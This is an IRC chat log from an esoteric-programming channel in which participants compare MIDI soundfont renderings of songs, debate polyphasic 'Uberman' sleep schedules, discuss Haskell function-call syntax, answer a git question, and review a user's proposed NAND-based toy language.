17:28:43 <ehird> Since they acquired eMagic's Logic, I guess they put a lot of stock into it
17:29:06 <ehird> GregorR: I could try and record the .mids if you want.
17:29:17 <GregorR> Yeah, I'd like to give one a listen.
17:29:39 <ehird> GregorR: Sure. Name a track.
17:30:07 <ehird> GregorR: Render Cake-Eating on your box, I bet it sounds like crap because your midi doesn't jive with it :P
17:32:20 <GregorR> No chance that it sounds like crap because, oh, it sounds like crap? X-P
17:33:01 -!- Corun has joined.
17:35:25 <ehird> GregorR: Recordinng ridiculously absent tccata.
17:36:17 -!- BeholdMyGlory has joined.
17:37:06 <sanxiyn> Sound font oh I want good sound font :(
17:38:04 <ehird> GregorR: Recordedamated.
17:38:24 <ehird> sanxiyn: oello 'aven't seen you before here.
17:38:28 <ehird> GregorR: Uploadingermating.
17:38:47 <sanxiyn> ehird: Actually I haven't been here at all...
17:38:56 <sanxiyn> lifthrasiir told me about here.
17:39:08 <ehird> Well, that would make sense :P
17:39:09 -!- oerjan has quit ("what about a sound mind?").
17:39:27 <sanxiyn> Actually I'm now in the same room lifthrasiir lives :)
17:40:29 <ehird> GregorR: http://filebin.ca/bmdpxh/RidiculouslyAbsentToccata.mp3
17:41:29 <GregorR> Well, it doesn't sound like the difference is any technical innovation, just a better soundfont.
17:41:45 <ehird> GregorR: Of course.
17:41:50 <ehird> GregorR: But it does sound an awful lot better.
17:41:54 <ehird> Your rendering sounds, well, MIDI :P
17:42:14 <ehird> Meh. I'ma render cake-eating now, since I'm insistent that's a good song.
17:46:50 <ehird> GregorR: May you know the Lord's true sound...
17:46:53 <ehird> (upload upload upload)
17:47:58 <ehird> GregorR: http://filebin.ca/wojhum/OnerousCake-EatingFestivalDisallowmentBarricade.mp3
17:48:14 <ehird> And on the eighth day, God created good MIDI soundfonts.
17:48:22 <ehird> And he saw what it resulted in; and it was good.
17:48:34 <GregorR> And on the ninth day, he made them expensive and only bundled them with shitty OSes :P
17:48:46 <ehird> Nobody's perfect :P
17:49:15 -!- MizardX has quit (Connection timed out).
17:50:01 <sanxiyn> http://nedbatchelder.com/blog/200906/side_project_endgame.html <- so true
17:50:01 <ehird> GregorR: Anyway, thou shalt now see its true colours.
17:50:09 <GregorR> Yeah, it is vaguely musical here :P
17:50:49 <ehird> GregorR: I'm curious to how it sounds on your end; totally random notes? :P
17:51:09 <GregorR> No, not that dissimilar, but pretty hectic.
17:52:40 <ehird> GregorR: I'll start liking even the worst ones when I Uberman myself up.
17:52:54 -!- MigoMipo has quit (Nick collision from services.).
17:52:55 -!- MigoMipo_ has joined.
17:53:00 <GregorR> Because you'll be tired all the time.
17:53:29 <ehird> GregorR: Well, yeah; it *is* a 10-day sleep deprivation program before you adjust.
17:53:40 -!- MigoMipo_ has quit (Client Quit).
17:53:52 -!- MigoMipo has joined.
17:53:58 <ehird> Shit can fuck you up; 13 days of no sleep will make you go insane and kill you. With Uberman's you start napping on day two or so, though, so it's more like the effect of 3 days.
17:57:52 <GregorR> http://filebin.ca/ctegd/OnerousCake-EatingFestivalDisallowmentBarricade.ogg
17:58:42 <ehird> GregorR: Wow, that misses the main melody line.
17:58:54 <ehird> And a bunch of the hooks.
18:00:11 <ehird> GregorR: That's really awful to listen to, I keep getting the expectation of melody yet none comes.
18:02:53 -!- kar8nga has quit (Read error: 104 (Connection reset by peer)).
18:08:08 <ehird> i should specify my circuit CA
18:13:37 <ehird> hahaaha someone thinks that the uberman's schedule was made by a guy called uberman
18:15:54 <pikhq> ehird: Beat him with ubermensch.
18:16:02 <ehird> [[After sleep deprivation there is a sharp rebound of SWS, suggesting there is a "need" for this stage.]]
18:16:07 <ehird> uberman's skips that stage
18:16:11 <ehird> it goes straight from a quick stage 1 to REM
18:16:21 <ehird> otoh i've never heard anyone doing uberman's properly actually have any problems
18:17:10 <pikhq> I've heard of problems.
18:17:15 <pikhq> All of them social.
18:18:22 <ehird> pikhq: otoh polyphasic sleep doesn't inherently impair social stuff
18:18:34 <ehird> http://en.wikipedia.org/wiki/Polyphasic_sleep#Comparison_of_sleep_patterns
18:18:39 <ehird> for instance, biphasic there is trivial
18:18:44 <ehird> you just reserve some time at noon
18:18:57 <pikhq> It's not inherent, it's just that it's tricky to take a nap every few hours. ;P
18:19:09 <ehird> pikhq: however... a woman with a kid and everything (the inventor of Uberman) is doing Everyman
18:19:23 <ehird> (= uberman but 4 naps instead of 6, and one is longer)
18:20:14 <ehird> http://www.puredoxyk.com/
18:20:25 <ehird> and http://www.puredoxyk.com/index.php/category/polyphasic/
18:21:01 <ehird> pikhq: but i could see, say, spending the day in another town would be difficult
18:21:24 <ehird> since you'd have to sleep on a bench somewhere while everyone else you're with goes off and does whatever :P
18:21:31 <ehird> apart from that though...
18:22:10 <ehird> pikhq: the guy who thinks "Uberman" invented it says they gave up after four days because they had no idea what to do with 22 hour days
18:22:19 <ehird> days are sooooo short
18:22:28 <ehird> htf do you think that
18:22:33 <ehird> unless you're mr bored mcboredson
18:23:01 <pikhq> I'm capable of using all 24 hours in a day.
18:23:41 <ehird> yah. gimme some sunlight and a rested body and i'll never, ever want to stop
18:24:01 <ehird> despite this i accomplish very little; but that's just adhd-esqueness and perfectionism :)
18:24:22 <ehird> "Like one day I set my alarm clock, lied down on my bed, laid my head on my pillow, and the alarm clock sounded. I slowly got up and looked at it. Twenty minutes had passed in what felt like one second. It was the fastest I’ve ever gone to sleep in my life."
18:24:30 <ehird> i wonder if this works for someone who can never sleep :)
18:24:34 <Asztal> my mum likes Ridiculously Absent Toccata
18:25:54 <ehird> it's very likeable
18:26:16 <ehird> apparently lucid dreaming is a lot easier w/ uberman's and dream recall is perfect
18:26:20 <ehird> SimonRC should try it :-)
18:26:36 <GregorR> Uberman's is sounding more fake every minute.
18:27:11 <pikhq> My roommate did polyphasic sleep last semester.
18:27:15 <ehird> multiple independent sources have tried it and gone through with it
18:27:18 <pikhq> I think it lasted a couple of weeks.
18:27:19 <ehird> and reported the same effects
18:27:31 <pikhq> He then went back to his 2-4 hours of sleep at night.
18:27:32 <ehird> and the two who have done it are very avid about it
18:27:37 <ehird> i don't see why it'd be some prank
18:29:06 <ehird> GregorR: also, infants sleep polyphasically
18:29:16 <ehird> 80% of their sleep is REM — just like napping schedules.
18:29:23 <ehird> GregorR: and they sleep sporadically in ~20 minute bursts.
18:30:23 <pikhq> Also, the human norm is biphasic sleep.
18:30:57 <ehird> if you let it go naturally — which our culture doesn't — you start polyphasic then transition to biphasic, which is a minor change, really
18:31:02 <ehird> just consolidating one to three naps
18:31:10 <ehird> so really, uberman's is just tweaking it a little /shrug
18:31:24 -!- inurinternet has joined.
18:32:26 <ehird> my main problem with uberman's will be giving up caffeine
18:33:04 <ehird> you could do caffeine on everyman's and biphasic
18:33:22 <ehird> but unless you have just a small amount right after waking in Uberman's, yer gonna miss your nap
18:33:27 <GregorR> I can play the first 1/2 page of Onerously Uptight Toccata! (Up to the first 8va)
18:33:47 <ehird> 18:26 GregorR: Uberman's is sounding more fake every minute. ← wanna expand on this?
18:33:53 <ehird> GregorR: cool, that track is really catchy
18:34:10 <GregorR> Nope, I don't care to expand on it :P
18:34:20 <ehird> then why'd you say it >:|
18:35:38 <ehird> someone commented saying that dreams happen in non-REM
18:35:43 <GregorR> (Re: OUT) It's tough to learn because it's so distinctly non-human ... rarely do you in normal music have one hand syncopated while the other isn't, and never is one hand off by a 16th note. Also, neither hand sounds particularly musical by itself, but the emergent sound of both is musical, so it's hard to learn one hand at a time.
18:35:44 <AnMaster> GregorR, I was wondering if it was a fake too...
18:35:44 <ehird> while almost all recalled dreams happen in REM...
18:35:58 <ehird> i don't get how it sounds realistic
18:36:02 <ehird> it's not some silver bullet
18:36:06 <ehird> the downsides are obvious
18:36:13 <AnMaster> ehird, "<ehird> i don't get how it sounds realistic" <-- huh?
18:36:15 <ehird> but it makes perfect sense, sicentifically
18:36:17 <ehird> AnMaster: unrealistic
18:36:37 <ehird> GregorR: yeah, it is rather alien
18:37:21 <GregorR> Also the fact that the first rest of any kind (just not playing very fast) hasn't come yet :P
18:37:53 <ehird> it's so fun being a crazy child
18:38:04 <ehird> GregorR: you should assemble a band to play it
18:38:10 <ehird> on the original instruments
18:38:16 <ehird> drums, steel drums and guitar
18:38:40 <GregorR> I don't think that steel drums can actually do that :P
18:38:51 <ehird> GregorR: I've played steel drums and heard songs made with them
18:38:58 <ehird> Nothing unrealistic sounding there.
18:39:13 <GregorR> You can only play two notes at once, right?
18:39:15 <ehird> GregorR: The pitch-changing drums might pose more of a problem; just get a few different-sounding ones.
18:39:19 <GregorR> There are three- and four-note chords.
18:39:25 <ehird> GregorR: Also, you have multiple steel drums :P
18:39:45 <GregorR> Yes, I know, but you have to use your hands to play them, and you only have two hands :P
18:40:10 <GregorR> Yes, that would be bitchin' sweet.
18:40:28 <GregorR> But finding one steel drum player in West Lafayette, Indiana would be nigh on impossible, finding two? Silly :P
18:40:50 <ehird> GregorR: I'll find one and we can both fly off there. I will play the instrument person coördinator. :P
18:41:14 <GregorR> I'll, uh, conduct, as I play none of those instruments.
18:41:27 <ehird> GregorR: I'm sure you can hit some differently-pitched drums of one kind.
18:41:39 <ehird> [the drum line :P]
18:41:47 <ehird> GregorR: wow, lyrics would have to be über-weird
18:41:51 <ehird> what time signature is it in?
18:42:01 <ehird> well, whatever time signature it's in, it's idiosyncratic even for it :)
18:42:19 <ehird> GregorR: Although its title would fit quite well as a lyric at some points in it
18:43:37 -!- sanxiyn has left (?).
18:44:27 <ehird> I just figured out what "frequent flier" meant
18:44:51 <ehird> I had no idea, it just didn't register.
18:45:03 <ehird> GregorR: I thought it was the, uh, bits of paper you stick up on walls outside and stuff to advertise things at first.
18:45:15 <ehird> But that made NO FUCKING SENSE in all the contexts it was used in.
18:54:54 -!- Gracenotes has joined.
18:55:41 <ehird> it occurs to me that uberman shifts a lot of maintenance on to you
18:55:49 <ehird> i wouldn't be surprised if excercise requirements increased
19:03:35 <AnMaster> ehird, isn't it something like "if you travel more than y / month you can get slightly cheaper tickets"?
19:03:50 <ehird> it's someone who flies frequently.
19:04:13 <AnMaster> ehird, ah, I was confusing it with http://en.wikipedia.org/wiki/Frequent_flyer_program
19:04:27 <AnMaster> which is the context I have seen it in
19:07:52 -!- ais523 has joined.
19:08:04 -!- Hiato has joined.
19:08:20 <pikhq> !swedish Your FACE!
19:08:21 <EgoBot> Yuoor FECE! Bork Bork Bork!
19:08:45 <GregorR> Your FECES! Bork Bork Bork!
19:09:07 <ehird> ^____________________________^
19:09:16 <GregorR> pikhq: WTF is with that smiley?
19:09:35 <pikhq> GregorR: Combining diacritics were involved.
19:10:43 <GregorR> You're FECES! Bork Bork Bork!
19:11:19 <ehird> GregorR: Your wrong bitch.
19:14:04 <ehird> GregorR: PIG DISGUSTING
19:23:31 -!- MizardX has joined.
19:37:00 -!- KingOfKarlsruhe has quit (Remote closed the connection).
19:46:04 * pikhq discovered how getline is implemented.
19:47:21 <pikhq> It reads in a few bytes, then recurses. When it hits the end of what it's been asked to get, it mallocs enough space for the buffer, sticks its few bytes in there, then returns.
19:48:25 <ehird> Heh, a popular polyphasic forum bans people under 18 because wooo scary dangerous :-)
19:48:51 <ais523> ok, so I've now implemented bubble sort and insertion sort in Rubicon
19:48:57 -!- Hiato has quit ("Leaving.").
19:49:07 <ais523> I'd rather like to do an O(n log n) algorithm, but they're probably much harder
19:49:15 -!- kar8nga has joined.
19:49:40 <ais523> ehird: yes, it's a computer game which is RUBE plus a few extra rules to make it a game
19:50:04 <ehird> ais523: btw you're probably the most level-headed person in here, if in the next 10 days i get significantly more crazy than usual tell me to stop uberman's please.
19:50:30 <ehird> ais523: polyphasic sleep schedule based around naps consisting of almost entirely REM sleep instead of long sleep
19:50:40 <ehird> 20 hour nap once every 4 hours.
19:50:46 <ehird> obviously, nigh-on impossible to adjust to.
19:50:58 <ehird> ais523: clarify "?" :P
19:51:09 <ehird> 20 minute nap once every 4 hours
19:51:16 <ehird> lol twenty hour nap :D
19:55:40 <ehird> I wonder how established polyphasists go back to monophasic sleep
19:55:58 <ehird> Maybe by attempting to burn out and not using an alarm so that your naps relapse into regular sleep
19:56:39 <ais523> I was semiphasic for about a week
19:56:42 <ais523> sleeping once per two days
19:56:57 <ais523> to get back to monophasic, wake up in the morning a few days in a row deliberately
19:57:08 <ais523> you get instantaneously rather tired, but everything's back to normal before long
19:57:33 <ehird> ais523: 0.5-phasic isn't really comparable to >1-phasic :)
19:58:32 <ehird> ais523: because if you try and go to monophasic from polyphasic, you'll become extremely tired after the 4 hours
19:58:43 <ehird> ais523: then if you sleep, you'll go through the compact nap schedule and wake up in 20 minutes
19:59:06 <ehird> so i theorize you have to do that, stay awake for as long as you can, then try and extend the naps as long as possible
19:59:14 <ehird> probably only take 2-3 cycles to relapse
20:05:23 <ehird> the polyphasic week: monday, jutfay, tuesday, mantfay, wednesday, tofay, thursday, notefay, friday, tipperfay, saturday, ratafay, sunday, lunnerfay
20:08:31 <ehird> where the new ones take up 10PM-6AM
20:09:09 <ais523> polyphasic probably isn't compatible with school/work
20:09:36 <ehird> ais523: it has been done
20:10:21 <ehird> ais523: heck, the woman who named it does everyman (uberman except one "core nap" which is a bit longer at night) and she has a kid
20:10:28 <ehird> but admittedly, probably not the easiest thing.
20:10:44 <ehird> ais523: still, it's just a matter of finding 20 minutes every 4 hours
20:10:55 <ehird> personally, if I couldn't find that sort of time anyway, I'd burn out
20:28:12 -!- sebbu2 has joined.
20:40:25 <ehird> GregorR: what does OUT sound like on your system? I'm curious as to whether i'm hearing it wrong
20:44:02 -!- sebbu has quit (Connection timed out).
21:46:06 -!- kar8nga has quit (Remote closed the connection).
22:04:34 -!- coppro has joined.
22:13:55 -!- tombom has quit ("Peace and Protection 4.22.2").
22:22:30 <GregorR> ehird: http://codu.org/music/auto/Onerously%20Uptight%20Toccata.ogg
22:22:58 -!- bsmntbombdood has joined.
22:23:22 <ehird> GregorR: wow, it sounds way different on my machine
22:23:27 <ehird> a lot more hyperactive
22:24:22 <ehird> GregorR: yours seems less tuneful, but more rhythmical
22:26:27 <GregorR> "Generalizations! I don't understand them!"
22:26:43 <ehird> GregorR: Fine, then an mp3 you shall have
22:30:41 <ehird> GregorR: And thusly it was uploading.
22:31:35 <ehird> GregorR: http://filebin.ca/mpzznt/OnerouslyUptightToccata.mp3
22:32:20 <GregorR> Is that new, I never saw filebin links until recentlY :P
22:32:27 <ehird> Just a few months.
22:32:53 <GregorR> Is there a reason that your version sounds utterly like garbage?
22:33:00 <GregorR> Is this just the worst guitar soundfont ever or what?
22:33:17 <ehird> GregorR: What? mine sounds great :P
22:33:31 <ehird> GregorR: Your notes are just too short
22:33:34 <GregorR> Holy crap man, the others sounded better than mine, but this is /awful/
22:33:44 <ehird> GregorR: Well, I agree.
22:33:52 <ehird> Yours is a lot better in this case.
22:34:59 -!- KingOfKarlsruhe has joined.
22:35:13 <ehird> GregorR: BTW, I highly doubt OUT is actually 4/4.
22:35:20 <ehird> The rests are just enough to put it out of sync :P
22:36:24 <GregorR> It has a lot of syncopation, but written on paper it's clear how it all comes together and it's very much 4/4
22:36:42 <ehird> I love the repeating steel drums riff
22:37:09 <ehird> Dun, dun dun, dwun dwin dwun dwun, dwun dwun dwundwundwun.
22:37:27 <GregorR> Also, there are no rests, so I'm not sure what you mean by that :P
22:37:45 <ehird> Well, it sounds like there are :P
22:38:35 <GregorR> Did you send all of those messages entirely after I said "<GregorR> Also, there are no rests, so I'm not sure what you mean by that :P", or am I getting ultralag?
22:38:59 <ehird> GregorR: Starting with which?
22:39:08 <ehird> 14:36:24 <GregorR> It has a lot of syncopation, but written on paper it's clear how it all comes together and it's very much 4/4
22:39:09 <ehird> 14:36:31 <ehird> I s'pose :P
22:39:10 <ehird> 14:36:42 <ehird> I love the repeating steel drums riff
22:39:12 <ehird> 14:37:09 <ehird> Dun, dun dun, dwun dwin dwun dwun, dwun dwun dwundwundwun.
22:39:14 <ehird> 14:37:27 <GregorR> Also, there are no rests, so I'm not sure what you mean by that :P
22:39:16 <ehird> 14:37:45 <ehird> Well, it sounds like there are :P
22:39:18 <ehird> 14:38:35 <GregorR> Did you send all of those messages entirely after I said "<GregorR> Also, there are no rests, so I'm not sure what you mean by that :P", or am I getting ultralag?
22:39:21 <ehird> 14:38:59 <ehird> GregorR: Starting with which?
22:39:26 <GregorR> I'm getting supermegaultralag.
22:39:33 <pikhq> GregorR: More lag than my system.
22:39:39 <pikhq> And my packets GO TO ORBIT.
22:40:25 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
22:42:29 -!- whtspc has joined.
22:45:40 -!- bsmntbombdood_ has joined.
22:53:26 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:07:28 -!- ais523 has quit (Remote closed the connection).
23:10:48 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.11/2009060215]").
23:17:17 -!- GreaseMonkey has joined.
23:17:41 <ehird> I found a legit use for "f (a, b, c)" style
23:25:09 <ehird> olsner: when all functions take one argument, and the convention is tuple for multiple arguments
23:26:01 -!- Kolonai has changed nick to Aneu.
23:27:13 <Aneu> In Haskell, at least, f(a, b, c) is perfectly valid notation for that.
23:27:47 <Aneu> And I think ordinary function notation usually allows saying f (a, b, c).
23:28:14 <ehird> Aneu: Of course, it can be valid.
23:28:28 <ehird> But if "f x" is the function call syntax, "f (a, b, c)" is a logical convention for multiple arguments.
23:28:33 <ehird> In other languages, however, this convention is retarded.
23:30:39 * ehird invents a nice new language.
23:30:42 <olsner> I'd say haskell completely lacks multiple-argument functions, but you can simulate them by either sticking stuff in a tuple or by currying
23:30:52 <ehird> It's like Haskell without some awkward syntax and with some nice stuff.
23:31:01 <ehird> but if the convention was to use tuples,
23:31:08 <ehird> and "f x" was still how one argument calls were accepted,
23:31:12 <ehird> "f (a, b, c)" makes sense
23:40:09 -!- akiross has joined.
00:04:45 -!- KingOfKarlsruhe has quit (Remote closed the connection).
00:08:25 <ehird> Theory: If the computation doesn't follow from the data structure, the structure has a higher-level representation.
00:09:30 <ehird> (That's the sort of thing Aneu will challenge just to be contrary. :P)
00:11:19 <ehird> More controversial theory: The best data structure representation obsoletes code.
00:11:24 <ehird> (Aneu! Take the bait!)
00:30:00 <ehird> GregorR: kerlo/ihope/etc.
00:37:58 -!- FireFly has quit ("Nu, SOVA").
00:47:05 <GregorR> Aneu: STICK TO A FUCKING NAME
00:48:09 <GregorR> I'm told it's good, and Pelham 123 was such a shitfest I need to watch a good movie.
00:48:53 <pikhq> GregorR: Might I suggest Plan 9 as an improvement?
00:50:17 <GregorR> At least that movie is /so/ bad it's good :P
00:51:09 <ehird> haven't watched it but :P
01:17:30 -!- akiross has quit ("Leaving").
01:18:50 -!- BeholdMyGlory has quit (Remote closed the connection).
02:52:03 <GregorR> OK, now that I've watched Memento, it's time to totally desecrate the entire interest of the film and watch it backwards!
03:07:28 * Aneu reads the paid.
03:07:48 * Aneu reads the bait.
03:08:12 <Aneu> Cool, my mind swapped the voicedness of those two consonants.
03:09:54 <Aneu> ehird: well, you have to calculate something in order to have any calculation.
03:10:10 <Aneu> If the data structure tells you what calculations to make, it is the code.
03:10:38 <Aneu> If the data structure merely indicates whether a given calculation is correct or not, it's a pretty cool data structure, but difficult to actually use.
03:11:13 <Aneu> If the data structure is subjective, woot, AI is required. Maybe not strong AI, but probably something stronger than Prolog.
03:11:32 <Aneu> And if the data structure doesn't tell you anything about calculations, either it just has all the data or it doesn't.
03:12:13 <Aneu> If it has all the data, the calculation must already be done; that's not really obsoleting code unless you've managed to perform so many calculations that you don't need to perform any more ever.
03:12:20 <Aneu> If it doesn't have all the data, that's hardly best.
03:12:45 <Aneu> And now to tell you what parts of that are actually relevant.
03:14:05 <Aneu> You mentioned "the computation follows from the data structure". I guess that could be multiple of those.
03:16:12 <Aneu> To summarize, I can't respond meaningfully because I don't know what you mean.
03:26:12 <Aneu> Anyway, there are few things I can change my nick to that I wouldn't change back to something else.
03:26:16 -!- Aneu has changed nick to Warrigal.
03:40:57 -!- oerjan has joined.
04:31:02 <Warrigal> ehird: how stupid is the average person?
04:31:08 <oerjan> your nick has slipped _again_?
04:59:31 -!- Corun has quit.
05:01:53 <GregorR> Warrigal: Staaaaaaaaaaaaaaaaay
05:03:50 * GregorR is ripping Memento one track at a time so he can watch it backwards/in-order.
05:04:00 <Warrigal> This is probably the most stable nick I could possibly have.
05:04:32 <Warrigal> Runners-up are kerlo, warrie, and my real name. And possibly ihope.
05:05:18 <GregorR> Is your real name a big secret? :P
05:05:39 <GregorR> How 'bout "write"? I'll give you the nick "write" if you promise to use it exclusively for at least 12 months ;P
05:05:51 * oerjan swats GregorR -----###
05:06:01 <oerjan> you WICKED, WICKED man
05:07:17 <oerjan> for the "write" thing, that is.
05:07:24 <oerjan> just in case you wondered.
05:07:29 <Warrigal> It's not a big secret. I sent you a friend request on Facebook.
05:07:34 <Warrigal> And everyone on Sine has access to it.
05:07:47 <GregorR> Warrigal: I probably rejected it when I went "whoTF is this"
05:07:57 <GregorR> And it was a picture of your feet, or dog, or something.
05:08:17 <Warrigal> My profile picture is a picture of me holding a mug. The thumbnail is the mug.
05:08:28 <Warrigal> But you apparently don't remember.
05:08:52 <GregorR> I vaguely recall a mug picture, I'm pretty sure I rejected it because the profile picture was a mug and I didn't recognize the name.
05:10:33 * oerjan suddenly envisions the "fiend" request
05:11:09 * GregorR looked up through the backlog for that typo, only to realize you'd typod it only in your brain :P
05:11:34 <oerjan> unless it's in _your_ brain
05:11:45 <GregorR> I assumed somebody had typod it as "fiend request" in the first place, which put you down that train of thought.
05:12:02 <oerjan> when did a single letter ever stop me?
05:12:02 <GregorR> But that transition was in your head, not on the channel :P
05:17:05 -!- darthnuri has joined.
05:20:43 * oerjan hates those humming machines, too
05:23:14 <GregorR> I'm a rare breed, a computer scientist that loves computers :P
05:23:55 <Warrigal> Everyone in the world is a computer scientist that loves computers.
05:24:22 * pikhq is engaged to his computer
05:24:54 * GregorR is a computer polygamist, but some bigwigs say that means our love isn't real.
05:25:29 <pikhq> I've also got a compu-mistress.
05:26:35 -!- inurinternet has quit (Success).
05:36:59 -!- oerjan has quit ("Bus").
07:18:48 -!- immibis has joined.
07:55:46 -!- immibis has quit (Remote closed the connection).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:09:40 -!- darthnuri has quit (Read error: 60 (Operation timed out)).
08:17:43 -!- olsner has quit ("Leaving").
08:21:40 -!- tombom has joined.
08:40:01 -!- immibis has joined.
09:04:31 -!- MigoMipo has joined.
09:13:46 -!- tetha has quit (Read error: 60 (Operation timed out)).
09:16:10 -!- tetha has joined.
09:30:37 -!- M0ny has joined.
09:41:42 -!- immibis has quit ("http://www.mibbit.com ajax IRC Client").
09:58:03 -!- atrapado has joined.
09:59:24 -!- FireFly has joined.
10:29:23 -!- lereah_ has joined.
10:38:38 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
10:53:26 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
11:21:18 -!- augur has quit (Read error: 104 (Connection reset by peer)).
11:21:39 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
11:21:48 -!- augur has joined.
11:54:31 -!- pikhq_ has joined.
11:55:50 -!- lereah_ has quit ("Leaving").
12:04:17 <AnMaster> I had such a strange dream tonight. That I was buying one of those ultra-speed compact flash cards. You know, those that "300x" on them. Except it said (471+3i)x=4 on it instead...
12:36:51 -!- GuestShadowSkunk has joined.
12:40:01 -!- pikhq_ has quit (Read error: 104 (Connection reset by peer)).
12:47:57 -!- Slereah has quit (Read error: 110 (Connection timed out)).
12:56:03 <MizardX> Dreaming of imaginary numbers... You just finished some exam?
12:58:56 -!- AnMaster has quit (Success).
13:01:08 -!- atrapado has quit ("Abandonando").
13:01:33 -!- sebbu has joined.
13:08:25 -!- oerjan has joined.
13:17:03 -!- KingOfKarlsruhe has joined.
13:17:05 -!- sebbu2 has quit (Read error: 110 (Connection timed out)).
13:19:38 -!- Judofyr has joined.
13:39:46 -!- KingOfKarlsruhe has quit (Remote closed the connection).
13:52:36 -!- AnMaster has joined.
13:52:47 -!- augur has quit (Read error: 104 (Connection reset by peer)).
13:52:55 -!- augur has joined.
13:52:55 -!- tombom_ has joined.
13:54:17 -!- FireFly has quit (Remote closed the connection).
13:57:36 -!- FireFly has joined.
13:57:56 * oerjan swats FireFly -----###
13:58:36 <FireFly> Swat BeholdMyGlory next time he logs on, he crashed my computer >_>
14:08:27 <AnMaster> computer just rebooted by itself.
14:10:45 -!- tombom has quit (Read error: 110 (Connection timed out)).
14:11:50 -!- tombom_ has quit (Read error: 110 (Connection timed out)).
14:12:11 <fizzie> Those might be just electricity-supply issues. At least I have one box that is keen to reboot if there's any sort of very temporary voltage drop or anything. (Well, unless you have an UPS in there.)
14:23:53 <AnMaster> fizzie, no UPS, so I guess it is possible
14:25:48 <AnMaster> however I also suspect that the PSU fan is; if not dying; at least ready for the retirement home...
14:26:10 <AnMaster> so it could be another symptom of the PSU nearing end of life
14:56:55 <AnMaster> with git, how do you revert local changes in one file. Like svn revert foo.c would do. It seems git revert doesn't do that.
14:58:08 <AnMaster> there seems to be "git reset" but I can't get it to work on just one file
14:58:53 <fizzie> According to some blog, you should just "git checkout filename".
14:59:28 <AnMaster> fizzie, ah thanks, that seems to work
14:59:39 <AnMaster> a bit illogical to me, but meh
15:28:17 -!- inurinternet has joined.
15:38:51 -!- pikhq has joined.
15:41:12 -!- Corun has joined.
15:49:38 -!- inurinternet has quit (Connection timed out).
15:52:00 -!- inurinternet has joined.
16:19:31 -!- GregorR-L has joined.
16:20:27 -!- GregorR-L has set topic: A trainload of gravy! | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
16:21:55 -!- ais523 has joined.
16:25:43 -!- whtspc has joined.
16:26:12 <whtspc> I have the final specification for my lang
16:26:31 <whtspc> but I am ope for criticism
16:27:05 <whtspc> The language is based on NAND-logic and it has no other syntax-elements than variable-names
16:27:28 * GregorR-L chooses to read that typo as "I a mope for criticism" instead of "I am open for criticism", and interprets that to mean that if we criticize, you will mope.
16:27:47 <whtspc> At the start every possible variable is set to false
16:28:22 <whtspc> actually everytime the program encounters an undefined variable, it creates this variable and sets it to false
16:29:02 <whtspc> the behaviour of the program is defined by the amount of words in a sentence
16:29:31 <whtspc> *A three word sentence:
16:30:24 <whtspc> define A , B and C as variables and set them to false
16:30:52 <whtspc> because we haven't encountered these variables before
16:31:27 <whtspc> the rule of a 3 word sentence is that the first word is the NAND of the second and third
16:31:59 <whtspc> so in this case A = 0 NAND 0 = 1
16:32:55 <whtspc> the words A B and C aren't very original variablenames
16:33:13 <whtspc> if I would have written:
16:33:57 <whtspc> red would be 1, spinach 0 and garden 0
16:35:10 <whtspc> if you want to know how NAND-logic works, you can check it here:
16:35:12 <whtspc> http://en.wikipedia.org/wiki/NAND_logic
16:36:12 <whtspc> *An eight word sentence
16:37:01 <oerjan> wait, you are using * for bullet points? a bit confusing here on irc :D
16:37:21 <whtspc> I don't know much about irc
16:37:39 <oerjan> we usually use * for corrections here
16:38:29 <whtspc> the 8 variablenames in the eight word sentence represent a byte
16:38:45 <whtspc> wherein the true are 1's and the falses are 0
16:39:03 <whtspc> it outputs an ascii character
16:39:42 <whtspc> last language feature is the one word sentence
16:39:51 <oerjan> also, ascii is 7 bits *ducks*
16:40:22 <GregorR-L> Should output Unicode codepoints >: )
16:40:35 <whtspc> if the variable named in the one word sentence is true
16:41:25 <whtspc> program pointer moves back line after the previous sentence that's exactly the same
16:41:38 <whtspc> if there isn't any ignore
16:42:27 <whtspc> i think it has pretty strong computional powers
16:42:29 <oerjan> no way to skip forward?
16:43:02 <whtspc> how would you see that?
16:43:27 <whtspc> but I haven't got very good sample programs yet
16:43:50 <whtspc> the following is the first two letters of Hello world
16:43:55 <oerjan> it seems to have finite memory though
16:44:39 <whtspc> yeah, you can't enlarge memory
16:45:09 <whtspc> i mean there's just as much space as variablenames called in the program
16:46:28 <whtspc> you are a bit disappointed :) ?
16:46:53 <oerjan> actually the looping way was sorta interesting
16:49:25 <whtspc> i will write program to output the fibonacci sequence (a finite part of it)
16:49:33 <whtspc> to make people enthousiast
16:52:03 <ais523> whtspc: why not put the specs for this on our wiki?
16:53:45 <whtspc> i don't know if i can do that without discussing here?
16:54:23 <oerjan> well you have to fill out the correct forms first of course, in triplicate.
16:54:30 <ais523> Esolang's rule is more or less "you can put anything esolang-related there, unless it's blatantly stupid, even if you created it yourself and nobody else knows about it"
16:54:59 <whtspc> i tried to be polite :)
16:55:01 <oerjan> actually i haven't noticed much enforcement of the blatantly stupid rule...
16:55:29 <ais523> oerjan: yes, I know, it's hard to get a consensus
16:55:50 <oerjan> some things have been deleted for not being esoteric, i recall
16:56:11 <oerjan> didn't someone suggest a name yesterday...
16:56:14 <whtspc> does ferNANDo sound ok?
16:59:16 * oerjan _knows_ this requires a barrage of abba puns but isn't in the mood
17:25:57 <pikhq> oerjan: I think about the only thing that's *blatantly* stupid is LOLCODE. :P
17:27:01 <pikhq> "Let's map Brainfuck to... Other symbols!"
17:27:32 -!- GuestShadowSkunk has changed nick to Slereah.
17:27:41 <GregorR-L> I actually don't think that EgoBot supports ANY of those.
17:27:54 <oerjan> GregorR-L: yes it does, i added Ook
17:28:18 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck rot13 sadbf slashes swedish valspeak warez yodawg
17:28:30 <GregorR-L> Then why didn't it say anything? Oh, because that had no output :P
17:28:42 <oerjan> i don't even know what it does :D
